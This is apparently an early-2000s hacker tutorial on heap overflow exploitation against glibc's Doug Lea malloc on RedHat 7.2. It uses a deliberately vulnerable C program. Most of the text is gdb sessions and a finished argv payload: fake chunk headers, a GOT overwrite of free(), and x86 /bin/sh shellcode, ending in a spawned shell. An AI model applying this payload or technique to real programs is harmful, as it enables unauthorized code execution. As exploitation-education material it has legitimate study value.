
			HEAP OVERFLOW TUTORIAL
               questions and comments: fuk@eurocompton.net

INTRODUCTION

	 This paper was written for users who want a practical demonstration
of a heap overflow being exploited.  Please practice on linux, for it uses
Doug Lea's malloc.  I used RedHat 7.2.

I THE VULNERABLE LOCAL BINARY

	I created this contrived example for this paper.  If you do not see
the problem, I cannot help you.

/* a.c */

#include <stdio.h>

int main(int argc, char **argv)
{

 char *buf1, *buf2, *buf3;

  if(argc == 1) {
    printf("\nThis program takes a string as an arguement.\n");
    return(0);
  }

  buf1 = (char *) malloc(56);
  buf2 = (char *) malloc(56);
  buf3 = (char *) malloc(56);

  strcpy(buf2,"CCCCCCCCCCCCCCCC");
  strcpy(buf1, argv[1]);

  printf("\n%s\n", buf1);

  free(buf2);
  free(buf1);

  strcpy(buf3, "END OF PROGRAM");
  printf("\n%s\n", buf3);

  free(buf3);

  return(0);

}

	Compile the file with -ggdb flag.  Experiment with it and activate
the bug.  If you do not know what to expect I cannot help you.

II DISCUSSION OF STRATEGIES

	Obviously we control the contents of buf1 and can potentially overflow
buf2 and buf3's chunk information.  Looking at it the first thing that comes
to my mind is the off by five technique.  This will not work though.  In order
to trick the first free() to think previous chunk is freed and to "go backwards
to buf1" we would need to write a positive integer to buf2's previous size
chunk data area.  This would mean a null byte or three in our string, which we
cannot do in a practical way.

	This means we would want to corrupt the first 8 bytes of buf2.  This
way we can create a virtual chunk directly after buf2's first 16 bytes, and
while we are at it the shellcode will go right after with slight modifications.
I should probably mention I plan to overwrite the GOT ptr - 12 for free(), and
the return address will soon be obvious.

	I suppose a ascii diagram is in order.

  <56 bytes of crap> <previous size of buf2> <size of buf2> <8 bytes of crap>
  <ptr safe 4 bytes> <ptr safe 4 bytes> <ptr to overwrite location - 12>
  <return addy> <jump ahead 12> <12 bytes of crap> <shellcode of your choice>

	Now i am gettig drunk on July 3rd.  Tommorrow off, sweet.  Anyway, refill.
Brb.  I admit it looks ugly, but those null bytes...  The easiest way to get the
GOT pointer to overwrite is "objdump -R a | grep free".  Remember to subtract 12
bytes from that number. As for the return address, if you cannot figure that out
I cannot help you.

	Now I should show the usual gdb output I guess.  Here is a session of mine.

[fuk@ghettobox fuk]$ gcc -ggdb -o a a.c
[fuk@ghettobox fuk]$ gdb a
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) break strcpy
Breakpoint 1 at 0x80483e8
(gdb) run aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Starting program: /home/fuk/a aaaaaaaaaaaaa...
Breakpoint 1 at 0x400aaf2a: file ../sysdeps/generic/strcpy.c, line 34.

Breakpoint 1, strcpy (dest=0x8049860 "", src=0x80486af 'C' <repeats 16 times>)
    at ../sysdeps/generic/strcpy.c:34
34      ../sysdeps/generic/strcpy.c: No such file or directory.
        in ../sysdeps/generic/strcpy.c
(gdb) cont
Continuing.

Breakpoint 1, strcpy (dest=0x8049820 "", src=0xbffffb86 'a' <repeats 60 times>)
    at ../sysdeps/generic/strcpy.c:34
34      in ../sysdeps/generic/strcpy.c
(gdb) x/4x 0x8049858
0x8049858:      0x00000000      0x00000041      0x43434343      0x43434343
(gdb) break chunk_free
Breakpoint 2 at 0x400a5916: file malloc.c, line 3166.
(gdb) cont
Continuing.

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 2, chunk_free (ar_ptr=0x40157160, p=0x8049858) at malloc.c:3166
3166    malloc.c: No such file or directory.
        in malloc.c
(gdb) x/4x 0x8049858
0x8049858:      0x61616161      0x00000000      0x43434343      0x43434343
(gdb) cont
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x400a5b2d in chunk_free (ar_ptr=0x40157160, p=0xa6a336f7) at malloc.c:3225
3225    in malloc.c

	I wanted to show why the off by five technique wouldn't work for me.
Do you see the last value for 'p' above?  That is 0x8049858 - 0x61616161 =
0xa6a336f7 , so this means to me we have pretty good control of 'p'.  This is
a critical main idea.
	Now why wouldn't the off by five work?  Becuase I cannot have null
bytes in my one main string (argv[1]).  The smallest positive integer I could
place there without a null byte is 17895697 (0x01111111), and that goes
too far "backwards".  Also, the amount of A's is the smallest amount to cause
a seg.  Remember that buf2's previous size data area doesn't come into play
until the chunk is freed or appears to be freed.

	Ok, so in summary, the above gdb output shows me overflowing into
buf2 by one byte.  That null byte overwrites 0x00000041.  That null byte
does one main thing.  It makes the least significant bit of buf2's size chunk
area 0.  That means previous chunk behind buf2 is 'freed', but it really isn't.
But since it appears the previous chunk is freed, one can control the free()
and its one arguement, a pointer.  The only problem is making it "go backwards",
going "forwards" is ideal.  That is exactly what we will do instead of the off
by five technique and a virtual chunk behind buf2.

III EXPLOITING THIS CONTRIVED EXAMPLE

	That ascii diagram basically shows the layout.  But I will show how
I got the correct information.

	Now since the strcpy src we control has to be 'used' up, I supplied 
56 bytes of assorted garbage.  I used,
"thisismyexploitforthecontrivedexampleinmyheaptutorial!!!", which is 56
bytes long.  This corresponds to the ascii diagram, <56 bytes of crap>.

	The next part in the ascii diagram is, <previous size of buf2>,
and we want this to be -16.  The reason why for -16 is because we cant have
a small positive integer and we want the pointer to free() to 'jump'
ahead 16 bytes.  I used 0xfffffff0 which is -16 in hex.

	Next, is buf2's size chunk area.  This value has to have the least
significant bit set to 0 and the 2nd least significant bit set to zero also
to be on the safe side.  I used 0xfffffffc which works out well.

	The next 8 bytes can be anything you want except null bytes.

	The next two groups of 4 bytes just need to be pointer safe.  In
the sense they do not contain null bytes and one can add to a pointer
without causing a problem.

[fuk@ghettobox fuk]$ objdump -R a | grep free
08049728 R_386_JUMP_SLOT   free

	This is the GOT pointer for free(). This part of the ascii diagram.
<ptr to overwrite location - 12>.  The reason for subtracting 12 bytes is
because that data isnt in our control.  It is overwritten before the shell-
code executes and that works around it.

	The <return addy> is simply where your shellcode begins.  To be
exact, it is where that jump ahead 12 shellcode is, <jump ahead 12>

	Pretty self-explanatory,  <12 bytes of crap>.

	And this is also pretty straight-forward, <shellcode of your choice>.

	So, let me craft my string for argv[1].  

<56 bytes of crap>
	thisismyexploitforthecontrivedexampleinmyheaptutorial!!!
<previous size of buf2>
	\xf0\xff\xff\xff
<size of buf2>
	\xfc\xff\xff\xff
<8 bytes of crap>
	\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc
<ptr safe 4 bytes> 
	\xfc\xff\xff\xff
<ptr safe 4 bytes>
	\xfc\xff\xff\xff
<ptr to overwrite location - 12>
	\x1c\x97\x04\x08
<return addy>
	\x78\x98\x04\x08
<jump ahead 12>
        \xeb\x0c
<12 bytes of crap>
	\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc
<shellcode of your choice>
	\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56
	\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b
	\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh

	So let me do another gdb session, and finish up with a run on
the command line.

[fuk@ghettobox fuk]$ gdb a
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) break strcpy
Breakpoint 1 at 0x80483e8
(gdb) run `perl -e ' print "thisismyexploitforthecontrivedexampleinmyheaptutor
ial!!!\xf0\xff\xff\xff\xfc\xff\xff\xff\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xff
\xff\xff\xfc\xff\xff\xff\x1c\x97\x04\x08\x78\x98\x04\x08\xeb\x0c\xfc\xfc\xfc
\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2
\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b
\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"'`

Starting program: /home/fuk/a `perl -e ' print "thisismyexploit...
Breakpoint 1 at 0x400aaf2a: file ../sysdeps/generic/strcpy.c, line 34.

Breakpoint 1, strcpy (dest=0x8049860 "", src=0x80486af 'C' <repeats 16 times>) 
34      ../sysdeps/generic/strcpy.c: No such file or directory.
        in ../sysdeps/generic/strcpy.c
(gdb) cont
Continuing.

Breakpoint 1, strcpy (dest=0x8049820 "",
    src=0xbffffb2a "thisismyexploitforthecontrivedexampleinmyheaptutorial!!!
                   \034\227\004\bx\230\004\b\f", 
                   '' <repeats 12 times>, "$^\215\036\211^\0133\211V\a\211V
                   \017\eV4\0225\020V4\022\215N\013\213\2003@\200
                   /bin/sh") at ../sysdeps/generic/strcpy.c:34
34      in ../sysdeps/generic/strcpy.c
(gdb) break chunk_free
Breakpoint 2 at 0x400a5916: file malloc.c, line 3166.
(gdb) x/4x 0x8049858
0x8049858:      0x00000000      0x00000041      0x43434343      0x43434343
(gdb) cont
Continuing.

thisismyexploitforthecontrivedexampleinmyheaptutorial!!!x
   $^^
                     3҉VV45V4N
                                  ̀3@̀/bin/sh

Breakpoint 2, chunk_free (ar_ptr=0x40157160, p=0x8049858) at malloc.c:3166
3166    malloc.c: No such file or directory.
        in malloc.c
(gdb) x/4x 0x8049858
0x8049858:      0xfffffff0      0xfffffffc      0xfcfcfcfc      0xfcfcfcfc
(gdb) x/4x 0x8049868
0x8049868:      0xfffffffc      0xfffffffc      0x0804971c      0x08049878
(gdb) x/4x 0x8049878
0x8049878:      0xfcfc0ceb      0xfcfcfcfc      0xfcfcfcfc      0x24ebfcfc
(gdb) x/4x 0x8049888
0x8049888:      0x891e8d5e      0xd2330b5e      0x89075689      0x1bb80f56
(gdb) x/4x 0x8049898
0x8049898:      0x35123456      0x12345610      0x8b0b4e8d      0x3380cdd1
(gdb) x/4x 0x80498a8
0x80498a8:      0x80cd40c0      0xffffd7e8      0x69622fff      0x68732f6e
(gdb) x/4x 0x80498b8
0x80498b8:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) cont
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x40001de0 in _start () at rtld.c:158
158     rtld.c: No such file or directory.
        in rtld.c
(gdb) quit
The program is running.  Exit anyway? (y or n) y
[fuk@ghettobox fuk]$

	Well, that looks pretty good to me.  I will now try running it
on the command line.

[fuk@ghettobox fuk]$ ./a `perl -e ' print "thisismyexploitforthecontrivedexample
inmyheaptutorial!!!\xf0\xff\xff\xff\xfc\xff\xff\xff\xfc\xfc\xfc\xfc\xfc\xfc\xfc
\xfc\xfc\xff\xff\xff\xfc\xff\xff\xff\x1c\x97\x04\x08\x78\x98\x04\x08\xeb\x0c
\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xeb\x24\x5e\x8d\x1e\x89\x5e
\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12
\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"'`

thisismyexploitforthecontrivedexampleinmyheaptutorial!!!x
  $^^
                    3҉VV45V4N
                                 ̀3@̀/bin/sh
sh-2.05$

	That is a wrap.  Take it easy and keep practicing.

